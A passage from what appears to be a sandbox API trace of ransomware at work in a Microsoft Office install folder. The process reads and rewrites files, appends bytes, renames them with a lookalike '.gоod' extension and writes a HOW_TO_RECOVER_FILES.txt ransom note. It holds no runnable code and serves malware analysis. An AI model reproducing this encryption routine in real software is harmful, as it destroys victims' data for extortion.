ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6a40)) returned 1 [0104.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0104.386] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", lpFilePart=0x0) returned 0x38 [0104.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0104.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0104.387] GetFileType (hFile=0x7b4) returned 0x1 [0104.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0104.387] GetFileType (hFile=0x7b4) returned 0x1 [0104.387] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0104.387] ReadFile (in: hFile=0x7b4, lpBuffer=0x334d250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x334d250*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0104.423] CloseHandle (hObject=0x7b4) returned 1 [0104.424] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", lpFilePart=0x0) returned 0x38 [0104.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0104.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0104.424] GetFileType (hFile=0x7b4) returned 0x1 [0104.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0104.424] GetFileType (hFile=0x7b4) returned 0x1 [0104.424] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x6a40 [0104.424] WriteFile (in: hFile=0x7b4, lpBuffer=0x3355c38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x3355c38*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0104.425] CloseHandle (hObject=0x7b4) returned 1 [0104.425] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", lpFilePart=0x0) returned 0x38 [0104.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0104.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0104.425] GetFileType (hFile=0x7b4) returned 0x1 [0104.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0104.425] GetFileType (hFile=0x7b4) returned 0x1 [0104.425] ReadFile (in: hFile=0x7b4, lpBuffer=0x3357ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x3357ee0*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0105.369] CloseHandle (hObject=0x7b4) returned 1 [0105.369] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", lpFilePart=0x0) returned 0x38 [0105.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0105.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0105.370] GetFileType (hFile=0x7b4) returned 0x1 [0105.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0105.370] GetFileType (hFile=0x7b4) returned 0x1 [0105.370] WriteFile (in: hFile=0x7b4, lpBuffer=0x32a0590*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x32a0590*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0105.370] CloseHandle (hObject=0x7b4) returned 1 [0105.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", lpFilePart=0x0) returned 0x38 [0105.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.gоod", lpFilePart=0x0) returned 0x3d [0105.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0105.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3b03dece, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6a50)) returned 1 [0105.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0105.370] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.gоod")) returned 1 [0105.371] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", lpFilePart=0x0) returned 0x36 [0105.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0105.371] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), fInfoLevelId=0x0, lpFileInformation=0x34e5350 | out: lpFileInformation=0x34e5350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0)) returned 1 [0105.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0105.371] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", lpFilePart=0x0) returned 0x36 [0105.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0105.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0105.371] GetFileType (hFile=0x7b4) returned 0x1 [0105.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0105.371] GetFileType (hFile=0x7b4) returned 0x1 [0105.372] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0105.372] ReadFile (in: hFile=0x7b4, lpBuffer=0x34e5718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x34e5718*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0105.976] CloseHandle (hObject=0x7b4) returned 1 [0105.976] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", lpFilePart=0x0) returned 0x36 [0105.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0105.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0105.979] GetFileType (hFile=0x7b4) returned 0x1 [0105.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0105.979] GetFileType (hFile=0x7b4) returned 0x1 [0105.979] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x8df0 [0106.010] WriteFile (in: hFile=0x7b4, lpBuffer=0x3459728*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x3459728*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0106.011] CloseHandle (hObject=0x7b4) returned 1 [0106.011] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", lpFilePart=0x0) returned 0x36 [0106.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0106.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0106.011] GetFileType (hFile=0x7b4) returned 0x1 [0106.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0106.011] GetFileType (hFile=0x7b4) returned 0x1 [0106.011] ReadFile (in: hFile=0x7b4, lpBuffer=0x345b9c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x345b9c0*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0106.039] CloseHandle (hObject=0x7b4) returned 1 [0106.039] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", lpFilePart=0x0) returned 0x36 [0106.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0106.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0106.040] GetFileType (hFile=0x7b4) returned 0x1 [0106.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0106.040] GetFileType (hFile=0x7b4) returned 0x1 [0106.040] WriteFile (in: hFile=0x7b4, lpBuffer=0x345a740*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x345a740*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0106.040] CloseHandle (hObject=0x7b4) returned 1 [0106.040] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", lpFilePart=0x0) returned 0x36 [0106.040] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.gоod", lpFilePart=0x0) returned 0x3b [0106.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0106.040] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3b6a643a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8e00)) returned 1 [0106.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0106.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.gоod" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.gоod")) returned 1 [0106.041] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1feed050, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0106.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed570) returned 1 [0106.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0106.041] GetFileType (hFile=0x7b4) returned 0x1 [0106.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed4e0) returned 1 [0106.041] GetFileType (hFile=0x7b4) returned 0x1 [0106.042] WriteFile (in: hFile=0x7b4, lpBuffer=0x34db120*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1feed638, lpOverlapped=0x0 | out: lpBuffer=0x34db120*, lpNumberOfBytesWritten=0x1feed638*=0x5d0, lpOverlapped=0x0) returned 1 [0106.043] CloseHandle (hObject=0x7b4) returned 1 [0106.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed600) returned 1 [0106.043] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests", nBufferLength=0x105, lpBuffer=0x1feed0a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests", lpFilePart=0x0) returned 0x32 [0106.043] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\*", lpFindFileData=0x1feed320 | out: lpFindFileData=0x1feed320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0106.488] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.488] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", cAlternateFileName="APA05A~1.XML")) returned 1 [0106.489] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", cAlternateFileName="APAD0B~1.XML")) returned 1 [0106.489] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc3863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", cAlternateFileName="APEDE2~1.XML")) returned 1 [0106.489] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP51DE~1.XML")) returned 1 [0106.489] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x79381, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~4.XML")) returned 1 [0106.489] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ecd099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCEE5~1.XML")) returned 1 [0106.489] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3df10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP557F~1.XML")) returned 1 [0106.489] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE193~1.XML")) returned 1 [0106.490] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x112a4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APC1E2~1.XML")) returned 1 [0106.490] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC422~1.XML")) returned 1 [0106.490] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba5e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2169~1.XML")) returned 1 [0106.490] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP7BBA~1.XML")) returned 1 [0106.490] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", cAlternateFileName="APEF10~1.XML")) returned 1 [0106.490] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", cAlternateFileName="AP5F49~1.XML")) returned 1 [0106.490] FindNextFileW (in: 